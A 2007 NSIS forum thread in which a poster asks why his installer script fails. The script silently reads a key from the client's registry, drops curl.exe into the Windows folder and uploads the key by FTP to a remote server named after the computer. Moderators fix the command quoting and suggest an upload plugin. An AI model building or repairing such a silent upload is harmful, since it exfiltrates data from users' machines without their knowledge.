Old 6th November 2007, 23:00   #1
parasoul
Senior Member
 
Join Date: Aug 2007
Posts: 117
ExecDos problem

I'm actually not exactly sure where the problem is.

I tried to do it manually, with cmd prompt, and cURL, and it worked fine. When I try to do it with ExecDos it does not work. There's the code. It's for uploading my client's unique key's to me for irrelevant reasons

code:

Name "keyupload"
OutFile "keyupload.exe"
SilentInstall silent

Section
ReadRegStr $2 HKLM "SOFTWARE\ParaJ\unique" 'key'
SectionEnd

Section
Push $2
Push "C:\key.txt" ;file to write to
Call WriteToFile
SectionEnd

Function WriteToFile
ReadRegStr $0 HKLM "Software\ParaJ\unique" 'key'
FileOpen $1 "C:\key.txt" w
FileWrite $1 $0
FileClose $1
FunctionEnd

Section
SetOutPath $WINDIR
File curl.exe
AllowSkipFiles on
SectionEnd

Section
ReadEnvStr "$R0" COMSPEC
ExecDos::exec $R0 /c "C:\WINDOWS\curl.exe" "-T C:\key.txt ftp://*****:******@oinkme.llc.nu/%computername%.txt"
SectionEnd



This script will also breakpoint the process and CMD.exe so I need to close it via task manager.

Any help would be great
parasoul is offline   Reply With Quote
Old 6th November 2007, 23:10   #2
Anders
Moderator
 
Anders's Avatar
 
Join Date: Jun 2002
Location: ${NSISDIR}
Posts: 5,449
I would guess the correct code would be more like:
ExecDos::exec '"C:\WINDOWS\curl.exe" -T C:\key.txt ftp://*****:******@oinkme.llc.nu/%computername%.txt'
Pop $0
(It's late, and I'm too tired to read the ExecDos docs)

The Inetc plugin supports uploading aswell if that is all you are want

IntOp $PostCount $PostCount + 1
Anders is offline   Reply With Quote
Old 7th November 2007, 09:23   #3
Afrow UK
Moderator
 
Afrow UK's Avatar
 
Join Date: Nov 2002
Location: Surrey, England
Posts: 8,434
It must all be one parameter so place the whole thing within single quotes (I recommend ``).

Stu
Afrow UK is offline   Reply With Quote
Reply
Go Back   Winamp & Shoutcast Forums > Developer Center > NSIS Discussion

Thread Tools Search this Thread
Search this Thread:

Advanced Search
Display Modes

Posting Rules
You may not post new threads
You may not post replies
You may not post attachments
You may not edit your posts

BB code is On
Smilies are On
[IMG] code is On
HTML code is Off

Forum Jump